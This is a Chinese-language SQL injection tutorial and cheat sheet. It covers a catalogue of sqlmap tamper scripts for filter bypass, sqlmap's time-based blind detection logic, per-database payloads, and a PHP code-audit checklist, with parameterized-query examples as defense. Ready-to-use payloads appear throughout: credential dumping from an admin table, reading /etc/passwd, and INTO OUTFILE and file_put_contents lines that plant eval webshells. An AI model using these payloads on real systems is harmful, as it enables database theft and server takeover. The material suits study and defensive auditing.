sm0nk · 2016/06/24 10:48 php
Author:[email protected]html
打开亚马逊,当挑选一本《Android4高级编程》时,它会不失时机的列出你可能还会感兴趣的书籍,好比Android游戏开发、Cocos2d-x引擎等,让你的购物车又丰富了些,而钱包又空了些。关联分析,即从一个数据集中发现项之间的隐藏关系。java
在Web攻防中,SQL注入绝对是一个技能的频繁项,为了技术的成熟化、自动化、智能化,咱们有必要创建SQL注入与之相关典型技术之间的关联规则。在分析过程当中,整个规则均围绕核心词进行直线展开,咱们简单称之为“线性”关联。以知识点的复杂性咱们虽然称不上为神经网络,但它依然像滚雪球般对知识架构进行完善升级,因此也可称之为雪球技术。python
本文以SQL注入为核心,进行的资料信息整合性解读,主要目的有:mysql
本文结构以下:git
PS:文章中使用了N多表格形式,主要是为了更好的区别与联系,便于关联分析及对比。github
说明:经过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料以外结果的攻击行为。wiki.wooyun.org/web:sqlweb
影响:数据库增删改查、后台登陆、getshellsql
修复:shell
使用方法,参见乌云知识库。
Tamper 概览
脚本名称 | 做用 |
---|---|
apostrophemask.py | 用utf8代替引号 |
equaltolike.py | like 代替等号 |
space2dash.py | 绕过过滤‘=’ 替换空格字符(”),('' – ')后跟一个破折号注释,一个随机字符串和一个新行(’ n’) |
greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 |
space2hash.py | 空格替换为#号 随机字符串 以及换行符 |
apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 |
halfversionedmorekeywords.py | 当数据库为mysql时绕过防火墙,每一个关键字以前添加mysql版本评论 |
space2morehash.py | 空格替换为 #号 以及更多随机字符串 换行符 |
appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 |
ifnull2ifisnull.py | 绕过对 IFNULL 过滤。 替换相似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’ |
space2mssqlblank.py | 空格替换为其它空符号 |
base64encode.py | 用base64编码替换 |
space2mssqlhash.py | 替换空格 |
modsecurityversioned.py | 过滤空格,包含完整的查询版本注释 |
space2mysqlblank.py | 空格替换其它空白符号(mysql) |
between.py | 用between替换大于号(>) |
space2mysqldash.py | 替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) |
multiplespaces.py | 围绕SQL关键字添加多个空格 |
space2plus.py | 用+替换空格 |
bluecoat.py | 代替空格字符后与一个有效的随机空白字符的SQL语句。 而后替换=为like |
nonrecursivereplacement.py | 取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters |
space2randomblank.py | 代替空格字符(“”)从一个随机的空白字符可选字符的有效集 |
sp_password.py | 追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 |
chardoubleencode.py | 双url编码(不处理以编码的) |
unionalltounion.py | 替换UNION ALL SELECT UNION SELECT |
charencode.py | url编码 |
randomcase.py | 随机大小写 |
unmagicquotes.py | 宽字符绕过 GPC addslashes |
randomcomments.py | 用/**/分割sql关键字 |
charunicodeencode.py | 字符串 unicode 编码 |
securesphere.py | 追加特制的字符串 |
versionedmorekeywords.py | 注释绕过 |
space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ |
一些妙用:
流程图
目前还未看完,先摘抄一部分(基于时间的盲注)讲解:
测试应用是否存在SQL注入漏洞时,常常发现某一潜在的漏洞难以确认。这可能源于多种缘由,但主要是由于Web应用未显示任何错误,于是没法检索任何数据。
对于这种状况,要想识别漏洞,向数据库注入时间延迟并检查服务器响应是否也已经延迟会颇有帮助。时间延迟是一种很强大的技术,Web服务器虽然能够隐藏错误或数据,但必须等待数据库返回结果,所以可用它来确认是否存在SQL注入。该技术尤为适合盲注。
使用了基于时间的盲注来对目标网址进行盲注测试,代码以下:
#!python
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)
logger.info(infoMsg)
injectable = True
复制代码
重点注意Request.queryPage函数,将参数timeBasedCompare设置为True,因此在Request.queryPage函数内部,有这么一段代码:
#!python
if timeBasedCompare:
return wasLastRequestDelayed()
复制代码
而函数wasLastRequestDelayed()的功能主要是判断最后一次的请求是否有明显的延时,方法就是将最后一次请求的响应时间与以前全部请求的响应时间的平均值进行比较,若是最后一次请求的响应时间明显大于以前几回请求的响应时间的平均值,就说明有延迟。
wasLastRequestDelayed函数的代码以下:
#!python
def wasLastRequestDelayed():
"""
Returns True if the last web request resulted in a time-delay
"""
deviation = stdev(kb.responseTimes)
threadData = getCurrentThreadData()
if deviation:
if len(kb.responseTimes) < MIN_TIME_RESPONSES:
warnMsg = "time-based standard deviation method used on a model "
warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES
logger.warn(warnMsg)
lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation
retVal = (threadData.lastQueryDuration >= lowerStdLimit)
if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:
adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)
return retVal
else:
return (threadData.lastQueryDuration - conf.timeSec) >= 0
复制代码
每次执行http请求的时候,会将执行所响应的时间append到kb.responseTimes列表中,但不包括time-based blind所发起的请求。
从如下代码就能够知道了,当timeBasedCompare为True(即进行time-based blind注入检测)时,直接返回执行结果,若是是其余类型的请求,就保存响应时间。
#!python
if timeBasedCompare:
return wasLastRequestDelayed()
elif noteResponseTime:
kb.responseTimes.append(threadData.lastQueryDuration)
复制代码
另外,为了确保基于时间的盲注的准确性,sqlmap执行了两次queryPage。
若是2次的结果都为True,那么就说明目标网址可注入,因此将injectable 设置为True。
/?param=1 select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
/?param=1 and(1)=convert(int,@@version)--
/?param=1 and(1)=convert(int,@@version)--
/?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v\_$version where rownum=1)||chr(62))) from dual)—
/?param=1 and(1)=cast(version() as numeric)--
DB | 链接符 | 行注释 | 惟一的默认表变量和函数 |
---|---|---|---|
MSSQL | %2B(URL+号编码)(e.g. ?category=sho’%2b’es) | -- | @@PACK_RECEIVED |
MYSQL | %20 (URL空格编码) | # | CONNECTION_ID() |
Oracle | || |
-- | BITAND(1,1) |
PGsql | || |
-- | getpgusername() |
Access | “a” & “b” | N/A | msysobjects |
SQL经常使用语句
内容 | MSSQL | MYSQL | ORACLE |
---|---|---|---|
查看版本 | select @@version | select @@version select version() | Select banner from v$version; |
当前用户 | select system_users; select suer_sname(); select user; select loginname from master..sysprocesses WHERE spid =@@SPID; | select user(); select system_user(); | Select user from dual |
列出用户 | select name from master..syslogins; | select user from mysql.user; | Select username from all_users ORDER BY username; Select username from all_users; |
当前库 | select DB_NAME(); | select database(); | Select global_name from global_name; |
列出数据库 | select name from master..sysdatabases; | select schema_name from information_schema.schemata; | Select ower,table_name from all_users; #列出代表 |
当前用户权限 | select is_srvolemenber(‘sysadmin’); | select grantee, privilege_type,is_grantable from information schema.user privileges; | Select * from user role_privs; Select * from user_sys_privs; |
服务器主机名 | select @@servername; | / | Select sys_context(‘USERENV’,’HOST’) from dual; |
数据 | MSSQL | Mysql | oracle |
---|---|---|---|
字符串长度 | LEN() | LENGTH() | LENGTH() |
从给定字符串中提取子串 | SUBSTRING(string,offset,length) | SELECT SUBSTR(string,offset,length) | SELECT SUBSTR(string,offset,length) From dual |
字符串(‘ABC’)不带单引号的表示方式 | SELECT CHAR(0X41)+CHAR(0X42)+ CHAR(0X43) | Select char(65,66,67) | Select chr(65)||chr(66)+chr(67) from dual |
触发延时 | WAITFOR DELAY ‘0:0:9’ | BENCHMARK(1000000,MD5(“HACK”)) Sleep(10) | BEGIN DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入) UTL_INADDR.get_host_name() UTL_INADDR.get_host_address() UTL_HTTP.REQUEST() |
IF语句 | If (1=1) select ‘A’ else select ‘B’ | SELECT if(1=1,’A’,’B’) | / |
PS:SQLMAP 针对Oracle注入时,使用了比较费解的SUBSTRC,好多时候得中转更改成SUBSTR.
数据库 | 语句(大多须要配合编码) |
---|---|
Oracle | oder by N # 爆出第一个数据库名 and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual # 依次爆出全部数据库名,假设第一个库名为first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual 爆出表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual 同理,同爆出下一个数据库相似爆出下一个表名就不说了,可是必须注意表名用大写或者表名大写的十六进制代码。 有时候咱们只想要某个数据库中含密码字段的表名,采用模糊查询语句,以下: and (select column_name from user_tab_columns where column_name like '%25pass%25')<0 爆出表tablename中的第一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and rownum=1),4,5,6 from dual 依次下一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1),4,5,6 from dual 若为基于时间或者基于bool类型盲注,可结合substr 、ASCII进行赋值盲测。 若屏蔽关键函数,可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。 |
Mysql | #正常语句 192.168.192.128/sqltest/news.php?id=1 #判断存在注入否 192.168.192.128/sqltest/news.php?id=1 and 1=2 #肯定字段数 order by 192.168.192.128/sqltest/news.php?id=-1 order by 3 #测试回显字段 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,3 #测试字段内容 192.168.192.128/sqltest/news.php?id=-1 union select 1,user(),3 192.168.192.128/sqltest/news.php?id=-1 union select 1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3 #查询当前库下全部表 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #查询admin表下的字段名(16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e #查询admin表下的用户名密码 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,group_concat(name,0x5e,pass) from admin #读取系统文件(/etc/passwd,需转换为16进制) 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764) #文件写入 192.168.192.128/sqltest/news.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'-- PS:若权限不足,换个目录 |
MSSQL | PS:回显型请查阅参考资料的连接,这里主要盲注的语法。 #爆数据库版本(可先测长度) aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0 ps:在范围界定时,可利用二分查找结合大于小于来利用;亦可直接赋值脚本爆破,依次类推直至最后一字母。 #爆当前数据库名字 aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0 #爆表 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1 name/**/from/**/dbname.sys.all_objects where type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0 #爆user表内字段 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/ 1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/** /TABLE_NAME='user'),1,1))>0/**/--&t=0 #爆数据 aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0 |
PS:关于注入绕过(bypass),内容偏多、过细,本次暂不概括。单独一篇
套装组合
减小体力活的工程化
白盒的方式有两种流,一种是检查全部输入,另外一种是根据危险函数反向
NO. | 概要 |
---|---|
1 | $_SERVER未转义 |
2 | 更新时未重构更新序列 |
3 | 使用了一个未定义的常量 |
4 | PHP自编标签与strip_tags顺序逻辑绕过 |
5 | 可控变量进入双引号 |
6 | 宽字节转编码过程 |
7 | mysql多表查询绕过 |
8 | 别名as+反引号可闭合其后语句 |
9 | mysql的类型强制转换 |
10 | 过滤条件是否有if判断进入 |
11 | 全局过滤存在白名单 |
12 | 字符串截断函数获取定长数据 |
13 | 括号包裹绕过 |
14 | 弱类型验证机制 |
15 | WAF或者过滤了and|or的状况可使用&&与||进行盲注。 |
16 | windows下php中访问文件名使用”<” “>”将会被替换成”*” “?” |
17 | 二次urldecode注入 |
18 | 逻辑引用二次注入 |
1.$_SERVER[‘PHP_SELF’]和$_SERVER[‘QUERY_STRING’],而$_SERVER并无转义,形成了注入。
2.update更新时没有重构更新序列,致使更新其余关键字段(金钱、权限)
3.在 php中 若是使用了一个未定义的常量,PHP 假定想要的是该常量自己的名字,如同用字符串调用它同样(CONSTANT 对应 “CONSTANT”)。此时将发出一个 E_NOTICE 级的错误(参考php.net/manual/zh/l…)
4.PHP中自编写对标签的过滤或关键字过滤,应放在strip_tags等去除函数以后,不然引发过滤绕过。
#!php
<?php
function mystrip_tags($string)
{
$string = remove_xss($string);
$string = new_html_special_chars($string);
$string = strip_tags($string);//remove_xss在strip_tags以前调用,因此很明显能够利用strip_tags函数绕过,在关键字中插入html标记.
return $string;
}
?>
复制代码
5.当可控变量进入双引号中时可造成webshell所以代码执行使用,${file_put_contents($_GET[f],$_GET[p])}能够生成webshell。
6.宽字节转编码过程当中出现宽字节注入
PHP链接MySQL时设置set character_set_client=gbk
,MySQL服务器对查询语句进行GBK转码致使反斜杠\
被%df
吃掉。
7.构造查询语句时没法删除目标表中不存在字段时可以使用mysql多表查询绕过
#!sql
select uid,password from users,admins;
(uid存在于users、password存在于admins)
复制代码
8.mysql中(反引号)能做为注释符,且会自动闭合末尾没有闭合的反引号。没法使用注释符的状况下使用别名as+反引号可闭合其后语句。
9.mysql的类型强制转换可绕过PHP中empty()函数对0的false返回
提交/?test=0axxx -> empty($_GET['test']) => 返回真
复制代码
可是mysql中提交其0axxx到数字型时强制转换成数字0
10.存在全局过滤时观察过滤条件是否有if判断进入,cms可能存在自定义safekey不启用全局过滤。经过程序遗留或者原有界面输出safekey致使绕过。
#!php
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){
safesql($id,$v,"POST",$config);
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config);
$_POST[$id]=common_htmlspecialchars($v);
}
}
复制代码
11.因为全局过滤存在白名单限定功能,可以使用无用参数带入绕过。
$webscan_white_directory='admin|\/dede\/|\/install\/';
复制代码
请求中包含了白名单参数因此放行。
http://www.target.com/index.php/dede/?m=foo&c=bar&id=1' and 1=2 union select xxx
复制代码
12.字符串截断函数获取定长数据,截取\\
或\’
前一位,闭合语句。
利用条件必须是存在两个可控参数,前闭合,后注入。
13.过滤了空格,逗号的注入,可以使用括号包裹绕过。具体如遇到select from(关键字空格判断的正则,且剔除/**/等)可以使用括号包裹查询字段绕过。
14.因为PHP弱类型验证机制,致使==
、in_array()
等可经过强制转换绕过验证。
15.WAF或者过滤了and|or的状况可使用&&与||进行盲注。
#!sql
http://demo.74cms.com/user/user_invited.php?id=1%20||%20strcmp(substr(user(),1,13),char(114,111,111,116,64,108,111,99,97,108,104,111,115,116))&act=invited
复制代码
16.windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”,分别表明N个任意字符与1个任意字符。
file_get_contents("/images/".$_GET['a'].".jpg");
复制代码
可以使用test.php?a=../a<%00
访问对应php文件。
17.使用了urldecode 或者rawurldecode函数,则会致使二次解码声场单引号而发生注入。
#!php
<?php
$a=addslashes($_GET['p']);
$b=urldecode($a);
echo '$a=' .$a;
echo '<br />';
echo '$b=' .$b;
?>
复制代码
18.逻辑引用,致使二次注入
部分盲点
盲点以下:
附常见的SERVER变量(具体含义自行百度):
QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE
复制代码
PS:若对注入的代码审计有实际操类演练,参考[email protected]
1.预编译处理
参数化查询是指在设计与数据库连接并访问数据时,在须要填入数值或数据的地方,使用参数来给值。在SQL语句中,这些参数一般一占位符来表示。
MSSQL(ASP.NET)
为了提升sql执行速度,请为SqlParameter参数加上SqlDbType和size属性
#!php
SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial catalog=TestDb");
conn.Open();
SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE UserName = @UserName AND Password = @Password");
cmd.Connection = conn;
cmd.Parameters.AddWithValue("UserName", "user01");
cmd.Parameters.AddWithValue("Password", "123456");
reader = cmd.ExecuteReader();
reader.Read();
int userId = reader.GetInt32(0);
reader.Close();
conn.Close();
复制代码
PHP
#!php
// 实例化数据抽象层对象
$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');
// 对 SQL 语句执行 prepare,获得 PDOStatement 对象
$stmt = $db->prepare('SELECT * FROM "myTable" WHERE "id" = :id AND "is_valid" = :is_valid');
// 绑定参数
$stmt->bindValue(':id', $id);
$stmt->bindValue(':is_valid', true);
// 查询
$stmt->execute();
// 获取数据
foreach($stmt as $row) {
var_dump($row);
}
复制代码
JAVA
#!java
java.sql.PreparedStatement prep = connection.prepareStatement(
"SELECT * FROM `users` WHERE USERNAME = ? AND PASSWORD = ?");
prep.setString(1, username);
prep.setString(2, password);
prep.executeQuery();
复制代码
PS:尽管SQL语句大致类似,可是在不一样数据库的特色,可能参数化SQL语句不一样,例如在Access中参数化SQL语句是在参数直接以“?”做为参数名,在SQL [email protected],在MySQL中是参数有“?”前缀,在Oracle中参数以“:”为前缀。
2.过滤函数的使用
3.框架及第三方过滤函数与类
select '<?eval($_POST[cmd]);?>' into outfile 'd:/wwwroot/1.php';
and 1=2 union select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/alidata/www/cms/ttbdxt/conf.php'--
序号 | 功能点 | 参数 |
---|---|---|
1 | 登陆 | Username password |
2 | Header | Cookie Referer x-forward remote-ip |
3 | 查询展现 , 数据写入(表单) , 数据更新 | id u category price str value |
4 | 数据搜素 | Key |
5 | 伪静态 | (同3),加* |
6 | Mysql不安全配置 , Set character_set_client=gbk |
%df%27 |
7 | 传参(横向数据流向、纵向入库流向) | Parameter (同3) |
8 | 订单类多级交互、从新编辑 , 配送地址、资料编辑 | 二次注入 |
9 | APP仍调用WEB API | 同3 |
10 | 编码urldecode base64 | Urldecode() rawurldecode() |